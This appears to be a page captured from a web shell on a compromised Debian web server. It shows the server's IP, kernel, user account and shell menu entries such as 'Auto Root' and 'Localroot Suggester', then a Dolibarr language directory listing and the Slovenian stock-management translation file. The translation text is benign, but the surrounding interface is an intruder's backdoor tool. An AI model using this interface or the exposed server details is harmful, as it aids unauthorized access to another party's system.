Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.41
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
btm2000.apps-dev.fr /
langs /
sl_SI /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
35.92
KB
-rw-r--r--
2023-12-15 13:44
admin.lang
182.94
KB
-rw-r--r--
2023-12-15 13:44
agenda.lang
8.87
KB
-rw-r--r--
2023-12-15 13:44
assets.lang
7.23
KB
-rw-r--r--
2023-12-15 13:44
banks.lang
9.66
KB
-rw-r--r--
2023-12-15 13:44
bills.lang
35.94
KB
-rw-r--r--
2023-12-15 13:44
blockedlog.lang
5.67
KB
-rw-r--r--
2023-12-15 13:44
bookmarks.lang
1.08
KB
-rw-r--r--
2023-12-15 13:44
boxes.lang
7.38
KB
-rw-r--r--
2023-12-15 13:44
cashdesk.lang
7.11
KB
-rw-r--r--
2023-12-15 13:44
categories.lang
5.3
KB
-rw-r--r--
2023-12-15 13:44
commercial.lang
3.94
KB
-rw-r--r--
2023-12-15 13:44
companies.lang
18.11
KB
-rw-r--r--
2023-12-15 13:44
compta.lang
18.99
KB
-rw-r--r--
2023-12-15 13:44
contracts.lang
5.19
KB
-rw-r--r--
2023-12-15 13:44
cron.lang
6.12
KB
-rw-r--r--
2023-12-15 13:44
datapolicy.lang
4.37
KB
-rw-r--r--
2023-12-15 13:44
deliveries.lang
1.36
KB
-rw-r--r--
2023-12-15 13:44
dict.lang
8.4
KB
-rw-r--r--
2023-12-15 13:44
donations.lang
1.43
KB
-rw-r--r--
2023-12-15 13:44
ecm.lang
2.93
KB
-rw-r--r--
2023-12-15 13:44
errors.lang
33.58
KB
-rw-r--r--
2023-12-15 13:44
eventorganization.lang
9.76
KB
-rw-r--r--
2023-12-15 13:44
exports.lang
11.17
KB
-rw-r--r--
2023-12-15 13:44
help.lang
1.27
KB
-rw-r--r--
2023-12-15 13:44
holiday.lang
7.34
KB
-rw-r--r--
2023-12-15 13:44
hrm.lang
3.67
KB
-rw-r--r--
2023-12-15 13:44
install.lang
19.29
KB
-rw-r--r--
2023-12-15 13:44
interventions.lang
4.29
KB
-rw-r--r--
2023-12-15 13:44
intracommreport.lang
1.37
KB
-rw-r--r--
2023-12-15 13:44
knowledgemanagement.lang
1.91
KB
-rw-r--r--
2023-12-15 13:44
languages.lang
4.09
KB
-rw-r--r--
2023-12-15 13:44
ldap.lang
1.77
KB
-rw-r--r--
2023-12-15 13:44
link.lang
538
B
-rw-r--r--
2023-12-15 13:44
loan.lang
1.53
KB
-rw-r--r--
2023-12-15 13:44
mailmanspip.lang
1.55
KB
-rw-r--r--
2023-12-15 13:44
mails.lang
11.58
KB
-rw-r--r--
2023-12-15 13:44
main.lang
40.53
KB
-rw-r--r--
2023-12-15 13:44
margins.lang
3.22
KB
-rw-r--r--
2023-12-15 13:44
members.lang
14.44
KB
-rw-r--r--
2023-12-15 13:44
modulebuilder.lang
16.58
KB
-rw-r--r--
2023-12-15 13:44
mrp.lang
6.92
KB
-rw-r--r--
2023-12-15 13:44
multicurrency.lang
2.33
KB
-rw-r--r--
2023-12-15 13:44
oauth.lang
2.39
KB
-rw-r--r--
2023-12-15 13:44
opensurvey.lang
3.41
KB
-rw-r--r--
2023-12-15 13:44
orders.lang
9.32
KB
-rw-r--r--
2023-12-15 13:44
other.lang
17.9
KB
-rw-r--r--
2023-12-15 13:44
partnership.lang
4.45
KB
-rw-r--r--
2023-12-15 13:44
paybox.lang
1.91
KB
-rw-r--r--
2023-12-15 13:44
paypal.lang
2.4
KB
-rw-r--r--
2023-12-15 13:44
printing.lang
2.61
KB
-rw-r--r--
2023-12-15 13:44
productbatch.lang
2.61
KB
-rw-r--r--
2023-12-15 13:44
products.lang
21.54
KB
-rw-r--r--
2023-12-15 13:44
projects.lang
17.46
KB
-rw-r--r--
2023-12-15 13:44
propal.lang
5.19
KB
-rw-r--r--
2023-12-15 13:44
receiptprinter.lang
3.51
KB
-rw-r--r--
2023-12-15 13:44
receptions.lang
2.75
KB
-rw-r--r--
2023-12-15 13:44
recruitment.lang
3.17
KB
-rw-r--r--
2023-12-15 13:44
resource.lang
1.26
KB
-rw-r--r--
2023-12-15 13:44
salaries.lang
1.58
KB
-rw-r--r--
2023-12-15 13:44
sendings.lang
3.81
KB
-rw-r--r--
2023-12-15 13:44
sms.lang
1.69
KB
-rw-r--r--
2023-12-15 13:44
stocks.lang
19.83
KB
-rw-r--r--
2023-12-15 13:44
stripe.lang
5.54
KB
-rw-r--r--
2023-12-15 13:44
supplier_proposal.lang
3.17
KB
-rw-r--r--
2023-12-15 13:44
suppliers.lang
2.86
KB
-rw-r--r--
2023-12-15 13:44
ticket.lang
21.11
KB
-rw-r--r--
2023-12-15 13:44
trips.lang
7.72
KB
-rw-r--r--
2023-12-15 13:44
users.lang
7.45
KB
-rw-r--r--
2023-12-15 13:44
website.lang
15.93
KB
-rw-r--r--
2023-12-15 13:44
withdrawals.lang
10.57
KB
-rw-r--r--
2023-12-15 13:44
workflow.lang
4.18
KB
-rw-r--r--
2023-12-15 13:44
zapier.lang
1.19
KB
-rw-r--r--
2023-12-15 13:44
Save
Rename
# Dolibarr language file - Source file is en_US - stocks WarehouseCard=Skladiščna kartica Warehouse=Skladišče Warehouses=Skladišča ParentWarehouse=Matično skladišče NewWarehouse=Novo skladišče / Lokacija zaloge WarehouseEdit=Uredi skladišče MenuNewWarehouse=Novo skladišče WarehouseSource=Izvorno skladišče WarehouseSourceNotDefined=Ni definirano skladišče, AddWarehouse=Ustvarite skladišče AddOne=dodajte ga DefaultWarehouse=Privzeto skladišče WarehouseTarget=Ciljno skladišče ValidateSending=Potrdite pošiljko CancelSending=Prekliči pošiljko DeleteSending=Izbriši pošiljko Stock=Zaloga Stocks=Zaloge MissingStocks=Manjkajoče delnice StockAtDate=Zaloge na datum StockAtDateInPast=Datum v preteklosti StockAtDateInFuture=Datum v prihodnosti StocksByLotSerial=Zaloga po lotu/serijski številki LotSerial=Loti/serije LotSerialList=Seznam lotov/serij SubjectToLotSerialOnly=Izdelki so predmet samo lota/serije Movements=Gibanja ErrorWarehouseRefRequired=Obvezno je referenčno ime skladišča ListOfWarehouses=Spisek skladišč ListOfStockMovements=Seznam gibanja zaloge ListOfInventories=Seznam zalog MovementId=ID gibanja StockMovementForId=ID gibanja %d ListMouvementStockProject=Seznam gibanja delnic, povezanih s projektom StocksArea=Področje skladišč AllWarehouses=Vsa skladišča IncludeEmptyDesiredStock=Vključite tudi negativno zalogo z nedefinirano želeno zalogo IncludeAlsoDraftOrders=Vključite tudi osnutke naročil Location=Lokacija LocationSummary=Kratko ime lokacije NumberOfDifferentProducts=Število unikatnih izdelkov NumberOfProducts=Skupno število proizvodov LastMovement=Zadnje gibanje LastMovements=Najnovejša gibanja Units=Enote Unit=Enota StockCorrection=Popravek zalog CorrectStock=Popravek zaloge StockTransfer=Prenos zaloge TransferStock=Prenos zaloge MassStockTransferShort=Bulk stock change StockMovement=Premik zaloge StockMovements=Premiki zalog NumberOfUnit=Število enot UnitPurchaseValue=Nabavna cena enote StockTooLow=Zaloga je prenizka StockLowerThanLimit=Zaloga nižja od opozorilne meje (%s) EnhancedValue=Vrednost EnhancedValueOfWarehouses=Vrednost skladišč UserWarehouseAutoCreate=Ustvari uporabniško skladišče samodejno, ko ustvariš uporabnika AllowAddLimitStockByWarehouse=Upravljajte tudi vrednost za najmanjšo in želeno zalogo na par (izdelek-skladišče) poleg vrednosti za minimalno in želeno zalogo na izdelek RuleForWarehouse=Pravilo za skladišča WarehouseAskWarehouseOnThirparty=Nastavite skladišče za tretje osebe WarehouseAskWarehouseDuringPropal=Nastavite skladišče na komercialne predloge WarehouseAskWarehouseDuringOrder=Nastavite skladišče za prodajna naročila WarehouseAskWarehouseDuringProject=Nastavite skladišče na Projekti UserDefaultWarehouse=Nastavite skladišče za uporabnike MainDefaultWarehouse=Privzeto skladišče MainDefaultWarehouseUser=Za vsakega uporabnika uporabite privzeto skladišče MainDefaultWarehouseUserDesc=Z aktiviranjem te opcije se pri kreiranju izdelka na tem definira skladišče, ki je pripisano izdelku. Če pri uporabniku ni definiranega skladišča, je definirano privzeto skladišče. IndependantSubProductStock=Zaloge izdelkov in zaloge podproizvodov so neodvisne QtyDispatched=Odposlana količina QtyDispatchedShort=Odposlana količina QtyToDispatchShort=Količina za odpošiljanje OrderDispatch=Prejemki artiklov RuleForStockManagementDecrease=Izberite Pravilo za avtomatsko znižanje zalog (ročno znižanje je vedno možno, tudi če je aktivirano pravilo avtomatskega znižanja) RuleForStockManagementIncrease=Izberite Pravilo za samodejno povečanje zaloge (ročno povečanje je vedno možno, tudi če je aktivirano pravilo samodejnega povečanja) DeStockOnBill=Zmanjšajte realne zaloge ob potrditvi računa/dobropisa stranke DeStockOnValidateOrder=Zmanjšajte realne zaloge ob potrditvi prodajnega naloga DeStockOnShipment=Zmanjšanje dejanske zaloge po potrditvi odpreme DeStockOnShipmentOnClosing=Zmanjšajte realne zaloge, ko je pošiljanje nastavljeno na zaprto ReStockOnBill=Povečajte realne zaloge ob potrditvi prejetega računa ReStockOnValidateOrder=Povečajte realne zaloge ob odobritvi naročila ReStockOnDispatchOrder=Povečanje realnih zalog ob ročnem odpremi v skladišče, po prejemu naročilnice blaga StockOnReception=Povečajte realne zaloge ob potrditvi sprejema StockOnReceptionOnClosing=Povečajte realne zaloge, ko je sprejem nastavljen na zaprto OrderStatusNotReadyToDispatch=Naročilo še nima ali nima več statusa, ki omogoča odpremo proizvoda iz skladišča. StockDiffPhysicTeoric=Razlaga razlike med fizično in virtualno zalogo NoPredefinedProductToDispatch=Za ta objekt ni preddefiniranih proizvodov. Zato ni potrebna odprema iz skladišča. DispatchVerb=Odprema StockLimitShort=Omejitev za opozorilo StockLimit=Omejitev zaloge za opozorilo StockLimitDesc=(prazno) pomeni brez opozorila. <br> 0 lahko uporabite za sprožitev opozorila takoj, ko je zaloga prazna. PhysicalStock=Fizična zaloga RealStock=Dejanska zaloga RealStockDesc=Fizična/realna zaloga je zaloga, ki je trenutno v skladiščih. RealStockWillAutomaticallyWhen=Realna zaloga bo spremenjena v skladu s tem pravilom (kot je definirano v modulu Zaloga): VirtualStock=Virtualna zaloga VirtualStockAtDate=Virtualna zaloga na datum v prihodnosti VirtualStockAtDateDesc=Virtualna zaloga, ko bodo končana vsa čakajoča naročila, ki so načrtovana za obdelavo pred izbranim datumom VirtualStockDesc=Virtual stock is the stock that will remain after all open/pending actions (that affect stocks) have been performed (purchase orders received, sales orders shipped, manufacturing orders produced, etc) AtDate=Na datum IdWarehouse=ID skladišča DescWareHouse=Opis skladišča LieuWareHouse=Lokalizacija skladišča WarehousesAndProducts=Skladišča in proizvodi WarehousesAndProductsBatchDetail=Skladišča in proizvodi (s podrobnostmi o lotu/serijski številki) AverageUnitPricePMPShort=Uravnotežena povprečna cena AverageUnitPricePMPDesc=Vhodna povprečna cena na enoto, ki smo jo morali plačati, da smo dobili 1 enoto izdelka v našo zalogo. SellPriceMin=Prodajna cena za enoto EstimatedStockValueSellShort=Prodajna vrednost EstimatedStockValueSell=Prodajna vrednost EstimatedStockValueShort=Ocenjena vrednost zaloge EstimatedStockValue=Ocenjena vrednost zaloge DeleteAWarehouse=Zbriši skladišče ConfirmDeleteWarehouse=Ali ste prepričani, da želite izbrisati skladišče <b> %s </b>? PersonalStock=Osebna zaloga %s ThisWarehouseIsPersonalStock=To skladišče predstavlja osebno zalogo %s %s SelectWarehouseForStockDecrease=Izberite skladišče uporabiti za zmanjšanje zalog SelectWarehouseForStockIncrease=Izberite skladišče uporabiti za povečanje zalog NoStockAction=Ni aktivnosti zaloge DesiredStock=Zaželena zaloga DesiredStockDesc=Ta znesek zaloge bo vrednost, uporabljena za polnjenje zalog s funkcijo obnavljanja. StockToBuy=Za naročiti Replenishment=Obnavljanje ReplenishmentOrders=Naročila za obnavljanje VirtualDiffersFromPhysical=Glede na možnosti povečanja/zmanjšanja delnic se lahko fizična zaloga in virtualna zaloga (fizična zaloga + odprta naročila) razlikujejo UseRealStockByDefault=Uporabite resnično zalogo namesto virtualne zaloge za funkcijo obnavljanja ReplenishmentCalculation=Količina za naročilo bo (želena količina - realna zaloga) namesto (želena količina - virtualna zaloga) UseVirtualStock=Uporabi virtualno zalogo UsePhysicalStock=Uporabi fizično zalogo CurentSelectionMode=Trenuten način izbire CurentlyUsingVirtualStock=Virtualna zaloga CurentlyUsingPhysicalStock=Fizična zaloga RuleForStockReplenishment=Pravilo za obnavljanje zalog SelectProductWithNotNullQty=Izberite vsaj en izdelek s količino, ki ni ničelna, in prodajalca AlertOnly= Samo opozorila IncludeProductWithUndefinedAlerts = Vključite tudi negativno zalogo za izdelke brez definirane želene količine, da jih obnovite na 0 WarehouseForStockDecrease=Skladiščee <b>%s</b> bo uporabljeno za zmanjšanje zaloge WarehouseForStockIncrease=Skladišče <b>%s</b> bo uporabljeno za povečanje zaloge ForThisWarehouse=Za to skladišče ReplenishmentStatusDesc=To je seznam vseh izdelkov, katerih zaloga je nižja od želene zaloge (ali nižja od opozorilne vrednosti, če je potrjeno potrditveno polje »samo opozorilo«). S potrditvenim poljem lahko ustvarite naročila za zapolnitev razlike. ReplenishmentStatusDescPerWarehouse=Če želite dopolnitev glede na želeno količino, definirano na skladišče, morate dodati filter na skladišču. ReplenishmentOrdersDesc=To je seznam vseh odprtih naročilnic, vključno z vnaprej določenimi izdelki. Samo odprta naročila z vnaprej določenimi izdelki, zato so tukaj vidna naročila, ki lahko vplivajo na zaloge. Replenishments=Obnovitve NbOfProductBeforePeriod=Količina proizvoda %s na zalogi pred izbranim obdobjem (< %s) NbOfProductAfterPeriod=Količina proizvoda %s na zalogi po izbranem obdobju (> %s) MassMovement=Masovni premik SelectProductInAndOutWareHouse=Select a source warehouse (optional), a target warehouse, a product and a quantity then click "%s". Once this is done for all required movements, click on "%s". RecordMovement=Rekordni prenos RecordMovements=Record stock movements ReceivingForSameOrder=Prevzem tega naročila StockMovementRecorded=Zapisan premik zaloge RuleForStockAvailability=Pravila za zahtevane zaloge StockMustBeEnoughForInvoice=Raven zaloge mora biti dovolj za dodajanje izdelka/storitve na račun (preverjanje se opravi na trenutni realni zalogi, ko se doda vrstica na račun, ne glede na pravilo za samodejno spremembo zaloge) StockMustBeEnoughForOrder=Raven zaloge mora biti dovolj za dodajanje izdelka/storitve v naročilo (preverjanje se opravi na trenutni realni zalogi pri dodajanju vrstice v naročilo, ne glede na pravilo za samodejno spremembo zaloge) StockMustBeEnoughForShipment= Raven zaloge mora zadostovati za dodajanje izdelka/storitve v pošiljko (preverjanje se opravi na trenutni dejanski zalogi, ko se v pošiljko doda vrstica, ne glede na pravilo za samodejno spremembo zaloge) MovementLabel=Nalepka gibanja TypeMovement=Smer gibanja DateMovement=Datum gibanja InventoryCode=Koda gibanja ali zaloge IsInPackage=Vsebina paketa WarehouseAllowNegativeTransfer=Stanje je lahko negativno qtyToTranferIsNotEnough=Nimate dovolj zalog iz izvornega skladišča in vaše nastavitve ne dovoljujejo negativnih zalog. qtyToTranferLotIsNotEnough=Nimate dovolj zalog za to številko serije iz svojega izvornega skladišča in vaše nastavitve ne dovoljujejo negativnih zalog (količina za izdelek »%s« s serijo »%s« je %s v skladišču »%s«). ShowWarehouse=Prikaži skladišče MovementCorrectStock=Korekcija zaloge za proizvod %s MovementTransferStock=Skladiščni prenos proizvoda %s v drugo skladišče InventoryCodeShort=Koda zaloge/premika NoPendingReceptionOnSupplierOrder=Ni čakajočega prejema zaradi odprtega naročila ThisSerialAlreadyExistWithDifferentDate=Ta lot/serijska številka (<strong>%s</strong>) že obstaja, vendar z drugim datumom vstopa ali izstopa (najden je <strong>%s</strong>, vi pa ste vnesli <strong>%s</strong>). OpenAnyMovement=Odprto (vse gibanje) OpenInternal=Odprto (samo notranje gibanje) UseDispatchStatus=Uporabite status odpreme (odobri/zavrni) za linije izdelkov ob prejemu naročila OptionMULTIPRICESIsOn=Vključena je možnost "več cen na segment". To pomeni, da ima izdelek več prodajnih cen, zato prodajne vrednosti ni mogoče izračunati ProductStockWarehouseCreated=Omejitev zaloge za opozorilo in pravilno ustvarjena želena optimalna zaloga ProductStockWarehouseUpdated=Omejitev zaloge za opozorilo in želena optimalna zaloga sta pravilno posodobljeni ProductStockWarehouseDeleted=Omejitev zaloge za opozorilo in želena optimalna zaloga je pravilno izbrisana ProductStockWarehouse=Stock limit for alert and desired optimal stock by product and warehouse AddNewProductStockWarehouse=Nastavite novo mejo za opozorilo in želeno optimalno zalogo AddStockLocationLine=Zmanjšajte količino in kliknite, da razdelite vrstico InventoryDate=Datum popisa Inventories=Zaloge NewInventory=Nov popis inventorySetup = Nastavitev inventarja inventoryCreatePermission=Ustvari nov inventar inventoryReadPermission=Ogled zalog inventoryWritePermission=Posodobite zaloge inventoryValidatePermission=Potrdite inventar inventoryDeletePermission=Izbriši inventar inventoryTitle=Inventar inventoryListTitle=Zaloge inventoryListEmpty=Inventura ni v teku inventoryCreateDelete=Ustvari/izbriši inventar inventoryCreate=Ustvari novo inventoryEdit=Uredi inventoryValidate=Potrjen inventoryDraft=V obdelavi inventorySelectWarehouse=Izbira skladišča inventoryConfirmCreate=Ustvari inventoryOfWarehouse=Inventar za skladišče: %s inventoryErrorQtyAdd=Napaka: ena količina je manjša od nič inventoryMvtStock=Po popisu inventoryWarningProductAlreadyExists=Ta izdelek je že na seznamu SelectCategory=Filter kategorij SelectFournisseur=Filter inventoryOnDate=Inventar INVENTORY_USE_INVENTORY_DATE_FOR_DATE_OF_MVT=Gibanje zalog bo imelo datum inventure (namesto datuma potrditve inventure) inventoryChangePMPPermission=Omogoča spreminjanje vrednosti PMP za izdelek ColumnNewPMP=Nova enota PMP OnlyProdsInStock=Ne dodajajte izdelka brez zaloge TheoricalQty=Teoretična količina TheoricalValue=Teoretična količina LastPA=Zadnji BP CurrentPA=Trenutni BP RecordedQty=Zabeležena količina RealQty=Realna količina RealValue=Resnična vrednost RegulatedQty=Regulirana količina AddInventoryProduct=Dodajte izdelek v inventar AddProduct=Dodaj ApplyPMP=Nanesite PMP FlushInventory=Izperite inventar ConfirmFlushInventory=Ali potrjujete to dejanje? InventoryFlushed=Inventar splaknjen ExitEditMode=Izhod iz izdaje inventoryDeleteLine=Izbriši vrstico RegulateStock=Uredite zalogo ListInventory=Seznam StockSupportServices=Storitve podpirajo upravljanje zalog StockSupportServicesDesc=Privzeto lahko založite samo izdelke vrste "izdelek". Izdelek tipa "storitev" lahko založite tudi, če sta vključena modul Storitve in ta možnost. ReceiveProducts=Prejmi predmete StockIncreaseAfterCorrectTransfer=Povečanje s popravkom/prenosom StockDecreaseAfterCorrectTransfer=Zmanjšanje s popravkom/prenosom StockIncrease=Povečanje zaloge StockDecrease=Zmanjšanje zalog InventoryForASpecificWarehouse=Popis za določeno skladišče InventoryForASpecificProduct=Zaloga za določen izdelek StockIsRequiredToChooseWhichLotToUse=Obstoječa zaloga je potrebna, da lahko izberete, kateri lot uporabiti ForceTo=Prisiliti k AlwaysShowFullArbo=Display the full path of a warehouse (parent warehouses) on the popup of warehouse links (Warning: This may decrease dramatically performances) StockAtDatePastDesc=Tukaj si lahko ogledate zalogo (dejansko zalogo) na določen datum v preteklosti StockAtDateFutureDesc=Tukaj si lahko ogledate zaloge (virtualne zaloge) na določen datum v prihodnosti CurrentStock=Trenutna zaloga InventoryRealQtyHelp=Nastavite vrednost na 0, da ponastavite količino. <br> Pustite polje prazno ali odstranite vrstico, da ostane nespremenjeno UpdateByScaning=Dokončajte dejansko količino s skeniranjem UpdateByScaningProductBarcode=Posodobitev s skeniranjem (črtna koda izdelka) UpdateByScaningLot=Posodobitev s skeniranjem (lot|serijska črtna koda) DisableStockChangeOfSubProduct=Deaktivirajte spremembo zaloge za vse podizdelke tega kompleta med tem premikom. ImportFromCSV=Uvoz CSV seznama gibanja ChooseFileToImport=Naložite datoteko in kliknite ikono %s, da izberete datoteko kot izvorno uvozno datoteko ... SelectAStockMovementFileToImport=izberite datoteko gibanja delnic za uvoz InfoTemplateImport=Naložena datoteka mora imeti ta format (* so obvezna polja): <br> Izvorno skladišče* | Ciljno skladišče* | Izdelek* | Količina* | Številka lota/serijska številka <br> Ločilo znakov CSV mora biti " <b> %s </b> " LabelOfInventoryMovemement=Popis %s ReOpen=Ponovno odpri ConfirmFinish=Ali potrjujete zaključek inventure? To bo ustvarilo vsa gibanja zalog za posodobitev vaše zaloge na dejansko količino, ki ste jo vnesli v inventar. ObjectNotFound=%s ni bilo mogoče najti MakeMovementsAndClose=Ustvarite gibe in zaprite AutofillWithExpected=Izpolnite dejansko količino s pričakovano količino ShowAllBatchByDefault=Privzeto prikaži podrobnosti serije na zavihku »zaloga« izdelka CollapseBatchDetailHelp=Privzeti prikaz podrobnosti serije lahko nastavite v konfiguraciji modula delnic ErrorWrongBarcodemode=Neznan način črtne kode ProductDoesNotExist=Izdelek ne obstaja ErrorSameBatchNumber=V popisnem listu je bilo najdenih več zapisov za številko serije. Ni načina, da bi vedeli, katero povečati. ProductBatchDoesNotExist=Izdelek s serijo/serijo ne obstaja ProductBarcodeDoesNotExist=Izdelek s črtno kodo ne obstaja WarehouseId=ID skladišča WarehouseRef=Skladišče Ref SaveQtyFirst=Najprej shranite dejanske popisane količine, preden zahtevate ustvarjanje gibanja zalog. ToStart=Start InventoryStartedShort=Začete ErrorOnElementsInventory=Operacija preklicana zaradi naslednjega razloga: ErrorCantFindCodeInInventory=Naslednje kode ni mogoče najti v inventarju QtyWasAddedToTheScannedBarcode=Uspeh!! Količina je bila dodana vsem zahtevanim črtnim kodam. Orodje Scanner lahko zaprete. StockChangeDisabled=Menjava zalog onemogočena NoWarehouseDefinedForTerminal=Za terminal ni določeno skladišče ClearQtys=Počistite vse količine ModuleStockTransferName=Napredni prenos zalog ModuleStockTransferDesc=Napredno upravljanje prenosa zalog z generiranjem prenosnega lista StockTransferNew=Nov prenos zalog StockTransferList=Seznam prenosov delnic ConfirmValidateStockTransfer=Ali ste prepričani, da želite potrditi ta prenos zalog z referenco <STRONG> %s </STRONG>? ConfirmDestock=Zmanjšanje zalog s prenosom %s ConfirmDestockCancel=Preklic zmanjšanja zalog z nakazilom %s DestockAllProduct=Zmanjšanje zalog DestockAllProductCancel=Prekliči zmanjšanje zalog ConfirmAddStock=Povečajte zaloge s prenosom %s ConfirmAddStockCancel=Preklic povečanja zalog z nakazilom %s AddStockAllProduct=Povečanje zalog AddStockAllProductCancel=Preklic povečanja zalog DatePrevueDepart=Predvideni datum odhoda DateReelleDepart=Pravi datum odhoda DatePrevueArrivee=Pričakovan datum prihoda DateReelleArrivee=Pravi datum prihoda HelpWarehouseStockTransferSource=Če je to skladišče nastavljeno, bodo kot izvorno skladišče na voljo samo on in njegovi podrejeni HelpWarehouseStockTransferDestination=Če je to skladišče nastavljeno, bodo kot ciljno skladišče na voljo samo on in njegovi podrejeni LeadTimeForWarning=Pretočni čas pred opozorilom (v dnevih) TypeContact_stocktransfer_internal_STFROM=Pošiljatelj prenosa zalog TypeContact_stocktransfer_internal_STDEST=Prejemnik prenosa zalog TypeContact_stocktransfer_internal_STRESP=Odgovoren za prenos zalog StockTransferSheet=Prenosni list zalog StockTransferSheetProforma=Proforma list za prenos zalog StockTransferDecrementation=Zmanjšajte izvorna skladišča StockTransferIncrementation=Povečajte ciljna skladišča StockTransferDecrementationCancel=Prekliči zmanjšanje izvornih skladišč StockTransferIncrementationCancel=Prekliči povečanje namembnih skladišč StockStransferDecremented=Izvorna skladišča so se zmanjšala StockStransferDecrementedCancel=Zmanjšanje izvornih skladišč preklicano StockStransferIncremented=Zaprto – zaloge prenesene StockStransferIncrementedShort=Zaloge prenesene StockStransferIncrementedShortCancel=Povečanje namembnih skladišč preklicano StockTransferNoBatchForProduct=Izdelek %s ne uporablja paketa, počisti paket na spletu in poskusi znova StockTransferSetup = Konfiguracija modula za prenos delnic Settings=nastavitve StockTransferSetupPage = Konfiguracijska stran za modul za prenos zalog StockTransferRightRead=Preberite prenose delnic StockTransferRightCreateUpdate=Ustvari/posodobi prenose zalog StockTransferRightDelete=Izbrišite prenose delnic BatchNotFound=Lota/serije ni bilo mogoče najti za ta izdelek StockMovementWillBeRecorded=Stock movement will be recorded StockMovementNotYetRecorded=Stock movement will not be affected by this step WarningThisWIllAlsoDeleteStock=Warning, this will also destroy all quantities in stock in the warehouse DeleteBatch=Delete lot/serial ConfirmDeleteBatch=Are you sure you want to delete lot/serial ?